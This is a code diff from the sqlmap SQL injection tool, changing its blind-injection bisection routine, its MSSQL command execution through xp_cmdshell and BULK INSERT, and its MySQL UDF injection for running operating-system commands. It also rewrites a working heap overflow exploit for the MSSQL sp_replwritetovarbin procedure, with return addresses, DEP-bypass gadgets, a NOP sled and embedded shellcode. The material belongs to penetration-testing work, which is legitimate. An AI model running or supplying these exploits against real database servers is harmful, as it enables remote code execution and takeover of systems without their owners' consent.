tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
|
||||
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||
|
||||
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\"))
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False)
|
||||
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
|
||||
self.delRemoteTempFile(tmpFile)
|
||||
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
|
||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
output = output[0]
|
||||
|
|
|
@ -45,7 +45,7 @@ from lib.core.unescaper import unescaper
|
|||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def bisection(payload, expression, length=None, charsetType=None):
|
||||
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
|
||||
"""
|
||||
Bisection algorithm that can be used to perform blind SQL injection
|
||||
on an affected host
|
||||
|
@ -56,6 +56,24 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||
|
||||
asciiTbl = getCharset(charsetType)
|
||||
|
||||
if "LENGTH(" in expression or "LEN(" in expression:
|
||||
firstChar = 0
|
||||
elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ):
|
||||
firstChar = int(conf.firstChar) - 1
|
||||
elif firstChar is None:
|
||||
firstChar = 0
|
||||
elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int):
|
||||
firstChar = int(firstChar) - 1
|
||||
|
||||
if "LENGTH(" in expression or "LEN(" in expression:
|
||||
lastChar = 0
|
||||
elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ):
|
||||
lastChar = int(conf.lastChar)
|
||||
elif lastChar in ( None, "0" ):
|
||||
lastChar = 0
|
||||
elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int):
|
||||
lastChar = int(lastChar)
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
|
@ -73,9 +91,12 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||
if length == 0:
|
||||
return 0, ""
|
||||
|
||||
showEta = conf.eta and isinstance(length, int)
|
||||
if lastChar > 0 and length > ( lastChar - firstChar ):
|
||||
length = ( lastChar - firstChar )
|
||||
|
||||
showEta = conf.eta and isinstance(length, int)
|
||||
numThreads = min(conf.threads, length)
|
||||
threads = []
|
||||
threads = []
|
||||
|
||||
if showEta:
|
||||
progress = ProgressBar(maxValue=length)
|
||||
|
@ -133,8 +154,8 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||
|
||||
|
||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||
value = [None] * length
|
||||
index = [0] # As list for python nested function scoping
|
||||
value = [ None ] * length
|
||||
index = [ firstChar ] # As list for python nested function scoping
|
||||
idxlock = threading.Lock()
|
||||
iolock = threading.Lock()
|
||||
|
||||
|
@ -156,7 +177,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||
charStart = time.time()
|
||||
val = getChar(curidx)
|
||||
|
||||
if val == None:
|
||||
if val is None:
|
||||
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||
|
||||
value[curidx-1] = val
|
||||
|
@ -224,14 +245,14 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||
dataToStdout(infoMsg)
|
||||
|
||||
else:
|
||||
index = 0
|
||||
index = firstChar
|
||||
|
||||
while True:
|
||||
index += 1
|
||||
charStart = time.time()
|
||||
val = getChar(index, asciiTbl)
|
||||
|
||||
if val == None:
|
||||
if val is None or ( lastChar > 0 and index > lastChar ):
|
||||
break
|
||||
|
||||
finalValue += val
|
||||
|
|
|
@ -107,7 +107,7 @@ def resume(expression, payload):
|
|||
if resumedValue[-1] == "]":
|
||||
resumedValue = resumedValue[:-1]
|
||||
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
|
||||
|
||||
if logValue:
|
||||
|
|
|
@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
import time
|
||||
|
||||
|
@ -257,7 +258,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
||||
|
||||
versions = {
|
||||
|
@ -417,12 +418,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||
txtTbl = self.fileTblName
|
||||
hexTbl = "%shex" % self.fileTblName
|
||||
|
||||
self.createSupportTbl(txtTbl, self.tblField, "text")
|
||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
||||
self.createSupportTbl(txtTbl, self.tblField, "text")
|
||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
||||
|
||||
logger.debug("loading the content of file '%s' into support table" % rFile)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
||||
|
||||
# Reference: http://support.microsoft.com/kb/104829
|
||||
binToHexQuery = """
|
||||
|
@ -593,22 +594,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
||||
|
||||
|
||||
def overflowBypassDEP(self):
|
||||
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
||||
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
else:
|
||||
warnMsg = "sqlmap tried to add the expection for "
|
||||
warnMsg += "'sqlservr.exe' within the registry, but will not "
|
||||
warnMsg += "restart the MSSQLSERVER process to avoid denial "
|
||||
warnMsg += "of service. The buffer overflow trigger could not "
|
||||
warnMsg += "work, however sqlmap will give it a try. Soon "
|
||||
warnMsg += "it will come a new MS09-004 exploit to "
|
||||
warnMsg += "automatically bypass DEP."
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def spHeapOverflow(self):
|
||||
"""
|
||||
References:
|
||||
|
@ -617,83 +602,109 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||
"""
|
||||
|
||||
returns = {
|
||||
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
|
||||
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
|
||||
}
|
||||
retAddr = None
|
||||
# 2003 Service Pack 0
|
||||
"2003-0": ( "" ),
|
||||
|
||||
for version, data in returns.items():
|
||||
sp = data[0]
|
||||
address = data[1]
|
||||
# 2003 Service Pack 1
|
||||
"2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
|
||||
|
||||
# 2003 Service Pack 2 updated at 12/2008
|
||||
"2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
|
||||
|
||||
# 2003 Service Pack 2 updated at 09/2009
|
||||
#"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ),
|
||||
}
|
||||
addrs = None
|
||||
|
||||
for versionSp, data in returns.items():
|
||||
version, sp = versionSp.split("-")
|
||||
sp = int(sp)
|
||||
|
||||
if kb.osVersion == version and kb.osSP == sp:
|
||||
retAddr = address
|
||||
addrs = data
|
||||
|
||||
break
|
||||
|
||||
if retAddr == None:
|
||||
if addrs is None:
|
||||
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
||||
errMsg += "overflow because it does not have a valid return "
|
||||
errMsg += "code for the underlying operating system (Windows "
|
||||
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
||||
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
shellcodeChar = ""
|
||||
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
||||
|
||||
for hexPair in range(0, len(hexStr), 2):
|
||||
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||
|
||||
shellcodeChar = shellcodeChar[:-1]
|
||||
|
||||
self.spExploit = """
|
||||
DECLARE @buf NVARCHAR(4000),
|
||||
@val NVARCHAR(4),
|
||||
@counter INT
|
||||
SET @buf = '
|
||||
declare @retcode int,
|
||||
@end_offset int,
|
||||
@vb_buffer varbinary,
|
||||
@vb_bufferlen int
|
||||
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
|
||||
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||
SET @val = CHAR(0x41)
|
||||
SET @counter = 0
|
||||
WHILE @counter < 3320
|
||||
BEGIN
|
||||
SET @counter = @counter + 1
|
||||
IF @counter = 411
|
||||
BEGIN
|
||||
/* Return address */
|
||||
SET @buf = @buf + %s
|
||||
SET @counter = @counter + 1
|
||||
IF @counter = 411
|
||||
BEGIN
|
||||
/* pointer to call [ecx+8] */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Nopsled */
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
/* push ebp, pop esp, ret 4 */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Metasploit shellcode stage 1 */
|
||||
SET @buf = @buf + %s
|
||||
/* push ecx, pop esp, pop ebp, retn 8 */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Unroll the stack and return */
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0xc3)
|
||||
/* Garbage */
|
||||
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
|
||||
|
||||
SET @counter = @counter + 302
|
||||
SET @val = CHAR(0x43)
|
||||
CONTINUE
|
||||
END
|
||||
SET @buf = @buf + @val
|
||||
/* retn 1c */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* retn 1c */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* anti DEP */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* jmp esp */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* jmp esp */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
|
||||
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
|
||||
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
|
||||
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
|
||||
|
||||
/* Metasploit shellcode */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
|
||||
SET @counter = @counter + 302
|
||||
SET @val = CHAR(0x43)
|
||||
CONTINUE
|
||||
END
|
||||
SET @buf = @buf + @val
|
||||
END
|
||||
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
||||
EXEC master..sp_executesql @buf
|
||||
""" % (retAddr, self.shellcodeChar)
|
||||
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
|
||||
|
||||
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
||||
self.spExploit = urlencode(self.spExploit, convall=True)
|
||||
|
|
|
@ -33,7 +33,6 @@ from lib.core.common import formatFingerprint
|
|||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
|
@ -62,8 +61,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.__basedir = None
|
||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
self.__basedir = None
|
||||
self.__datadir = None
|
||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF return data-type
|
||||
"sys_exec": { "return": "int" },
|
||||
"sys_eval": { "return": "string" },
|
||||
"sys_bineval": { "return": "int" }
|
||||
}
|
||||
|
||||
Enumeration.__init__(self, "MySQL")
|
||||
Filesystem.__init__(self)
|
||||
|
@ -368,11 +374,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
|
@ -483,119 +484,94 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||
logger.debug(debugMsg)
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile))
|
||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
def udfSetRemotePath(self):
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
wFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
libExt = "dll"
|
||||
else:
|
||||
wFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
libExt = "so"
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir is None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir == None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
|
||||
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
datadir = "."
|
||||
datadir = os.path.normpath(datadir.replace("\\", "/"))
|
||||
|
||||
if re.search("[\w]\:\/", datadir, re.I):
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
dFile = "%s/%s.%s" % (datadir, lib, libExt)
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
dFile = "/usr/lib/%s.%s" % (lib, libExt)
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#self.__datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
self.__datadir = "."
|
||||
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
if re.search("[\w]\:\/", self.__datadir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
if kb.stackedTest == False:
|
||||
|
|
|
@ -34,7 +34,6 @@ from lib.core.common import getHtmlErrorFp
|
|||
from lib.core.common import getRange
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
|
@ -63,6 +62,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||
|
